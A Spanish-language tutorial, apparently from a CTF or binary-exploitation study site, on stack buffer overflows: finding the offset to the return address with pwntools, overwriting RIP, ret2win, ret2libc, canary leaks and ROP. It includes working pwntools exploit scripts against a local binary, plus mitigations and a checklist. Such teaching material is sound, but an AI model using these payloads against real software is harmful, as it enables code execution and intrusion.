Saltearse al contenido

Stack buffer overflow

El desbordamiento de buffer en el stack es la vulnerabilidad clásica de la explotación binaria: un programa copia datos controlados por el atacante en un buffer de tamaño fijo en el stack sin comprobar el tamaño, de modo que escribir más de la cuenta sobrescribe lo que hay después del buffer —incluida la dirección de retorno de la función. Al controlar esa dirección, controlas RIP y, con ello, el flujo de ejecución.

# layout del stack dentro de una función (crece hacia abajo)
[ buffer local ][ RBP guardado ][ dirección de retorno ][ ... ]
# si escribes más allá del buffer:
[ AAAAAAAA... ][ AAAAAAAA ][ TU_DIRECCIÓN ]
# al hacer 'ret', RIP = TU_DIRECCIÓN -> rediriges la ejecución

El fallo típico: gets(buf), strcpy(buf, user), read(0, buf, tamaño_grande) sobre un char buf[64].

Necesitas saber cuántos bytes hay desde el inicio del buffer hasta la dirección de retorno:

# patrón cíclico con pwntools
cyclic 200 # genera un patrón único
# ejecutas, el programa crashea; miras qué valor quedó en RIP/RSP
cyclic -l 0x6161616c # te dice el offset exacto
# en gdb (pwndbg): 'cyclic 200' y al crashear 'cyclic -l $rsp'
from pwn import *
p = process('./vuln')
offset = 72
payload = b'A'*offset + p64(0xdeadbeef) # sobrescribe RIP con 0xdeadbeef
p.sendline(payload)
# si en el crash RIP=0xdeadbeef, tienes control

Paso 3: a dónde saltar (según protecciones)

Sección titulada «Paso 3: a dónde saltar (según protecciones)»
# sin NX (stack ejecutable): meter shellcode en el stack y saltar a él (ver pwn-shellcode)
payload = shellcode + relleno + p64(direccion_del_stack) # + NOP sled
# con NX (lo normal hoy): no puedes ejecutar el stack -> ROP (ver pwn-rop)
# ret2win (CTF): saltar a una función "ganadora" que ya existe en el binario
payload = b'A'*offset + p64(addr_win)
# ret2libc: saltar a system("/bin/sh") en libc (necesita leak si ASLR)
# Stack Canary: hay un valor centinela antes de RIP; si lo pisas, el programa aborta
# -> necesitas FILTRAR el canary (format string, leak) e incluirlo intacto en el payload
payload = b'A'*offset_canary + p64(canary) + b'B'*8 + p64(ret_addr)
# ASLR/PIE: las direcciones cambian -> necesitas un LEAK para calcular direcciones reales
# NX: no shellcode en stack -> ROP

El exploit real moderno encadena: leak (bypass ASLR) → incluir canary → ROP (bypass NX).

from pwn import *
e = ELF('./vuln'); p = process('./vuln')
offset = 72
win = e.symbols['win'] # dirección de la función ganadora
payload = flat(b'A'*offset, p64(win))
p.sendline(payload)
p.interactive()
  • Stack canaries (-fstack-protector-all): detectan el overflow antes del ret.
  • NX/DEP: el stack no ejecutable frena el shellcode directo.
  • ASLR + PIE: aleatorizan direcciones (obligan a filtrar).
  • Funciones seguras: fgets/strncpy/snprintf con tamaños; nunca gets/strcpy/sprintf sin límite.
  • FORTIFY_SOURCE, compilar con warnings, sanitizers (ASan) y fuzzing (AFL++) para cazar el bug.
  • Identificar el buffer y la copia sin comprobación de tamaño
  • Encontrar el offset hasta RIP (cyclic)
  • Confirmar control de RIP (crash con valor controlado)
  • checksec: NX/canary/PIE presentes
  • Elegir estrategia: shellcode / ret2win / ret2libc / ROP
  • Sortear canary (leak) y ASLR/PIE (leak)
  • Construir el payload con pwntools
  • Shell/flag en local → remoto